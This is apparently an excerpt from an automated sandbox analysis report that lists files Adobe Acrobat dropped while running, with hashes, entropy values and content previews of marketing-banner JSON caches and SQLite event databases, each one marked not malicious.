SHA-512:	F85DB933C5051D3A1D79FBEE8873FA0ACF6BCD2748C4535DD439D7940C92438CA8475EDF81E01C4D84022D73FD51E2B73039890A023CAD92579E8641F1344812
Malicious:	false
Preview:	p...... ........)..ATQ..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.343801190493396
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc0QgnQ5IRR4UhUR0YuXYxoAvJM3g98kUwPeUkwRe9:YvXKXc0QgnQWRuUhUJOGMbLUkee9
MD5:	D9417060ED6DD99B309EC02CA353B58D
SHA1:	A66D29A45072D2376AE6D3A447FF555126BA0C44
SHA-256:	30EF547406ED88993264537F385B98E7BC521E7F0CB8504938E78BC19447CEC6
SHA-512:	05337DD1C0A82446E3D417EDDEC98829D1390778C59E416CEB38313B2A9C4092469914D117C3A0F4635EAFD06312E8389FB7794B2A2F2DE7A9CA40825440AF38
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"12e0903e-43ee-451f-a5c0-1f2e6ba3cfbf","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1734709603424,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.286261562802995
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc0QgnQ5IRR4UhUR0YuXYxoAvJfBoTfXpnrPeUkwRe9:YvXKXc0QgnQWRuUhUJOGWTfXcUkee9
MD5:	B4578AB83238E29334F7BAC9CCF395EA
SHA1:	E9E31300D68D0C24DDDC6E1B43A7468EF01BBDB2
SHA-256:	5B8474F629FDC86684A98265793039D0ACDB107DBF7377BDC195E1754693E607
SHA-512:	01B623442CF75790A127A870EFF70202F22667AC7D2D8FD0EFEF94C2725953FD2F904A94221EC836B3FD69F00795BD9BD510FF9765C98E8C4B30C2F6283EB270
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"12e0903e-43ee-451f-a5c0-1f2e6ba3cfbf","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1734709603424,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.265586485641588
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc0QgnQ5IRR4UhUR0YuXYxoAvJfBD2G6UpnrPeUkwRe9:YvXKXc0QgnQWRuUhUJOGR22cUkee9
MD5:	81BFE71825E21DFE79C0D8C0E5CDE643
SHA1:	79120302EAE412315AC18499104F1EF6A9CA72A0
SHA-256:	89F9E4FEA994BAFD72A28F942E09FD6F940F28E04282196928C4C4E24688963A
SHA-512:	39C01C95E7DB46E0B7D7EB9943B577673498F652F85339871868A9FAA92E1024056B717564FAA1CA629B3891F53A5596D2D2D9CDFC1EDDA49ED4F98C6C0E6B8A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"12e0903e-43ee-451f-a5c0-1f2e6ba3cfbf","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1734709603424,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.331494986398469
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc0QgnQ5IRR4UhUR0YuXYxoAvJfPmwrPeUkwRe9:YvXKXc0QgnQWRuUhUJOGH56Ukee9
MD5:	CEA95E2615F758937250D5F5C59CDCAA
SHA1:	CBD03527AE13D382B95C2034416CA77EA152CDF3
SHA-256:	F5A64B2B2D7EE1B0AE1AE78CE035FB6FE11D29952089DF306DFDFBBCFEABD626
SHA-512:	D88C39ED49EC5C93311130978A320793A5849A383F251D32A0FB2E8C753925217EE55B18B4746403C19AD2809E9535FAB460A3313624BA51F77F4D242D986E4C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"12e0903e-43ee-451f-a5c0-1f2e6ba3cfbf","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1734709603424,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6820992274631195
Encrypted:	false
SSDEEP:	24:Yv6Xc0dnRUJ7pLgE9cQx8LennAvzBvkn0RCmK8czOCCSj:YvCRUJ7hgy6SAFv5Ah8cv/j
MD5:	B5FB7E03B79853E995951C6D4A3A9B5D
SHA1:	D8A3558DF20B70AB2CF4AD28298AC4BE4EC02DA4
SHA-256:	B0A8457D983B067296EA6A0EB50B5359BCD374B0B65339B9913F5DF8074F95C5
SHA-512:	F4D1CE4D1A838518F3593C76084C739DD6534CB12E7BACF918AA83182778F20DEC0F86F3F980E87A9E0E79870F9B7E4C3D79380D8FD199DD688F9C2206AC0B32
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"12e0903e-43ee-451f-a5c0-1f2e6ba3cfbf","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1734709603424,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2790658979216145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc0QgnQ5IRR4UhUR0YuXYxoAvJf8dPeUkwRe9:YvXKXc0QgnQWRuUhUJOGU8Ukee9
MD5:	08D141C5C0A4363E46AF117865EA55B0
SHA1:	C7779F3079069CFF3E93F40ED4A7A0E6CB11C8E7
SHA-256:	2619B3551B5F545BDB02C45107A4D65B6234987A7AA10127DCB111B9934F0FE3
SHA-512:	32C7EB08B2CCD79BAFC9401A41271CAABE6DC8EF0CF50C7B68A7671C73FA49346362F0EF40D8AC36D06FFF44C5C207BAB405946FE771B942CEAAB9E2A142F301
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"12e0903e-43ee-451f-a5c0-1f2e6ba3cfbf","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1734709603424,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.281151300921751
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc0QgnQ5IRR4UhUR0YuXYxoAvJfQ1rPeUkwRe9:YvXKXc0QgnQWRuUhUJOGY16Ukee9
MD5:	C48A42143BCCC3DEB36CF9FFEC83F8C1
SHA1:	6EBAAC9BC2E0E423741CBA9B2BA8A53A0A6C510D
SHA-256:	6AEF1613AA36657809ECE431E7C424B0DDB5B0DB9C3F75076907853834C03063
SHA-512:	9F126A2F53076080AE9FEDB81ED494EC87C5A15737E94F82FE3A8ACBD94C3F56BB2A52F3378DC2D7B3900C2A0E06B86D39778D7BFB4345A5394B4805198181C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"12e0903e-43ee-451f-a5c0-1f2e6ba3cfbf","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1734709603424,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290635494200664
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc0QgnQ5IRR4UhUR0YuXYxoAvJfFldPeUkwRe9:YvXKXc0QgnQWRuUhUJOGz8Ukee9
MD5:	96DB56FE2CB846A0E7E002FD4F6C9A11
SHA1:	C2FF1E2A7BE5C3306D3626F2D6C94CF31EEB23C9
SHA-256:	11F0AC9A165E4C2FB2A73259B32245A335307F3EEC3C4D3EB8CA011A87B98D17
SHA-512:	11C489CADED8E3411B7700A97DD8655CD75D745E085AAC4AE34802E5BE65A979B938BA8660B9B70B2DEB2806679AF8F2EAF1921505AAB8080F72994FB73AB3DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"12e0903e-43ee-451f-a5c0-1f2e6ba3cfbf","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1734709603424,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3042368443386785
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc0QgnQ5IRR4UhUR0YuXYxoAvJfzdPeUkwRe9:YvXKXc0QgnQWRuUhUJOGb8Ukee9
MD5:	08562BD931C27CAF49FF96DD997B87E4
SHA1:	7DB2DE76E8A6ECB3679CE4C8761176CB0A51A8BD
SHA-256:	347E377BE4B9628032D11019D5CA34C9B8B274CAF2FDE2A427FED90EFE88C973
SHA-512:	8D763009A392C290584092D42B13D8C2BAE6C704F22BB47AB8C94AEA053938D76403BEF22BFB45B56AA7A5CFC6B16EE8F1568C18258F24CEEBD6E70144BF2E15
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"12e0903e-43ee-451f-a5c0-1f2e6ba3cfbf","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1734709603424,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284566536387523
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc0QgnQ5IRR4UhUR0YuXYxoAvJfYdPeUkwRe9:YvXKXc0QgnQWRuUhUJOGg8Ukee9
MD5:	B865082D4DBC2A8F510D4179B266D95D
SHA1:	A541D49E14EBF4165B8894A1A4708F56C46E67BC
SHA-256:	51AD349ACDA9FD7CFA75959CA59E2BB150B5C297792C80BB21B5FCE6C016783C
SHA-512:	21062462D321E0EFE598A333B39786F4941A8B542A1347A1712CB26CC25BBD9B011E893DA3EE5FB8C0A351F5DE1B6C7CE188017E5324D5E89A7E759E3E0DFC3C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"12e0903e-43ee-451f-a5c0-1f2e6ba3cfbf","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1734709603424,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.271448135834651
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc0QgnQ5IRR4UhUR0YuXYxoAvJf+dPeUkwRe9:YvXKXc0QgnQWRuUhUJOG28Ukee9
MD5:	DD9D83C4485E430860D76649C93C2ECE
SHA1:	91E3F2D1E4A469BA04C5A251830AD45FE6AEA750
SHA-256:	25BDBFAA0821B1BA405FC7706D4BB3B7EF4802EBA6A585B365EB3167335ED9B3
SHA-512:	A06F1B08E2FB963FCE43774F6A83837BC1AB373F52E6749D30CF3D23F802255A1255484D08746F52B77ABA5C4C5499BCF31121C25D369CF2B6A05617A6EACF83
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"12e0903e-43ee-451f-a5c0-1f2e6ba3cfbf","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1734709603424,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.268219705976249
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc0QgnQ5IRR4UhUR0YuXYxoAvJfbPtdPeUkwRe9:YvXKXc0QgnQWRuUhUJOGDV8Ukee9
MD5:	2EA459E170C8DB9572F32C2AB0D250EF
SHA1:	2DEED58DB95A9CD7A988C758ED55A2DEB2231E13
SHA-256:	9F73E7D7F2E773EE0DC7C78B28FC1F47B7B06559DFF097ABFD0206D3AA78801F
SHA-512:	ABB7C67B8D091195F2C1986614F1BD8F30D0E7742D9FFA8CD6902CB885CA38B03B4A281A70F55148B055868A41E1E0C4CF92D466F4D79CF2940698F28B7704F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"12e0903e-43ee-451f-a5c0-1f2e6ba3cfbf","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1734709603424,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2713874041058855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc0QgnQ5IRR4UhUR0YuXYxoAvJf21rPeUkwRe9:YvXKXc0QgnQWRuUhUJOG+16Ukee9
MD5:	1331A5DDE9B151231B4DD81D966367F0
SHA1:	63D9424456F26803A4873D4C7EABB50269A8BD7C
SHA-256:	AD488355F77D1A8B344E0129C2F50142E4286A8DB7D27BC41AAB795AC4B4E4F3
SHA-512:	30069D70239E574E2A5CEA87B3BD495749EF148CF2D9694F843E0E04E7AFE585419DF865CB82DB31850A66642D95ACEE61ADD30383C13BC6217459B0CE0ECB51
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"12e0903e-43ee-451f-a5c0-1f2e6ba3cfbf","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1734709603424,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.655751853004112
Encrypted:	false
SSDEEP:	24:Yv6Xc0dnRUJ7amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSj:YvCRUJLBgkDMUJUAh8cvMj
MD5:	BF22831CEA7D8FE2659A392EF462902B
SHA1:	4881A0F0FF777AE8C354638CB058936469077031
SHA-256:	E601EA689EF578F0048D60EB0099B83FD21F7092BAA995B205D153793489CB82
SHA-512:	D94E49C2832C86DFD1B8D86C7CCE866CFD21CDBEB475C701F2C1C50AC5D11B7491E39D0BC9355BF021723448904EE5F8E7F08028D296A6970125ED407982D6D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"12e0903e-43ee-451f-a5c0-1f2e6ba3cfbf","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1734709603424,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.250058586246376
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc0QgnQ5IRR4UhUR0YuXYxoAvJfshHHrPeUkwRe9:YvXKXc0QgnQWRuUhUJOGUUUkee9
MD5:	7703ECA923DFFACB676C76F6D0F9B248
SHA1:	98CAABD2B41711F14655B6771FCC954B18749DFF
SHA-256:	020FE6C62C805483A5C781ACA40FE80DED1C84437F2EE6185310C57572BC6D41
SHA-512:	F60A8CB36BCF645968A38A0C39F240C7A9FDCB372BC14C92B63B32058DD987934419DB56045708CEC0757900AA01067453D7AA30D27BDA095E64078413910B05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"12e0903e-43ee-451f-a5c0-1f2e6ba3cfbf","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1734709603424,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.256219305996449
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc0QgnQ5IRR4UhUR0YuXYxoAvJTqgFCrPeUkwRe9:YvXKXc0QgnQWRuUhUJOGTq16Ukee9
MD5:	A46C7BCED8715DE667A378607202D2B5
SHA1:	3E7A804F5EABDEE17B10E4A983FDBC09DE67C3E9
SHA-256:	A04C32836575EB9E52F6C18160CAAE78D251379E370B2B1830E5BABAABEAAE85
SHA-512:	D07EE87B3A34D0C1FA15AA4C81814BC8DEE988B8CD2BE9F5EA8F294874F2BFC403A8AE5B228B55C641BD8220A96EC5764F83338DECAA9C76DF02372A9F147D04
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"12e0903e-43ee-451f-a5c0-1f2e6ba3cfbf","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1734709603424,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.134566852833187
Encrypted:	false
SSDEEP:	24:YgLl/aiay6JWwRr+NUJbQBBkWv8xj+j0S/Gj2UFP2LSxCHzcJrMBL85w293Nxuzj:YPjd+NUJk3k7g4nPH0cJrAwC293NS
MD5:	52D734A37CF702FC50A9C397A030282C
SHA1:	C4ABCF9F6CCC09C8F3667EBD00D956AF68C5F00D
SHA-256:	E2F30E5E6D6AC891EB2C0A25EC18C480A93C518D2F49492C7D75FF98EEB26FDA
SHA-512:	1E8434617B7293905BD45C67BE106E8ADDEDBA73B4E4385B00F0F1CD304304FAE7AD3D428DCDEC7939E7E166F652A4C3F3A19CDC5799D43C6BFAA0585491E881
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"8dccdfad753af30f651af96d6fd8730f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1734529993000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"21e91fdfd19a79463c8d0f730ffae387","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1734529993000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"52285a26a3fa357692fac9d914be57e1","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1734529993000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"2216e0442fe28b877672cefc890cd700","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1734529993000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f355b75733f160a2d54379b23089f8e1","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1734529993000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3045a75bf48853d8af23758f85974785","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.988209330869021
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs67Y9QmQ6Qeu+IcLESiAieG+F:TVl2GL7ms67YXtrulcI8iG
MD5:	81131547973C0233AB151967042A6B3B
SHA1:	928150FF097ADFD591A5698705186816A84F87A9
SHA-256:	9C28AF4E7A3544F8920C739105A27431446BEBB5285AA40956E843BEA6123E08
SHA-512:	64876703D4B5F8E48F55AF86795D3CF1A776B6BDBFFE2EF7DBC63D35A94B56EB0CD3AE25AA2089D4D4680C8821E346F4DD76AABDB972BD51069BB9D37B5A577E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.344797123588527
Encrypted:	false
SSDEEP:	24:7+tc0mASY9QmQ6Qeu+7cLESiAi0mY9QzJWqLBx/XYKQvGJF7ursN:7MtmlYXtruqcI8KYtqll2GL7msN
MD5:	018677D94AF52BC280D467A77B14D6DB
SHA1:	59916A7BC28F0F72ED88BC14AE51345919F17611
SHA-256:	A8FEA453EE8B495DE91D7FC976D2089C5AEDE6DEE39295F571F11B43F949CE08
SHA-512:	567EAEBE7A0CDB48C1579ED20510F480D77BAE8675BA47926BD1B2201538D893EF40EAFCA6ACCF2964E822B9BA737886DD93002C6480FC1E6FF1042CCEC01551
Malicious:	false
Preview:	.... .c........p......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg9e8OCOuJ4P1Xue75p/tbWYxKBYyu:6a6TZ44ADE9e8OruJ4NXuUoBK
MD5:	3F8C824C8226DCF4E1C5CB8AAF3ED8B5
SHA1:	964693E9F2DD053FCD248A72AC99EFAEF25D5FC4
SHA-256:	397963CD2EBB1DA79570219E3A9B965D43AE2299FC840C943A74DE063B8C11C0
SHA-512:	DADFF53AAA8CF79474E91BE69385AB033A2B9F8940C03C87DB79BD98F86965CAAD02F9B11876C799524AC863CE84DFE0D8BF4C3293C711FA4E5B827BCD27C1DA
Malicious:	false
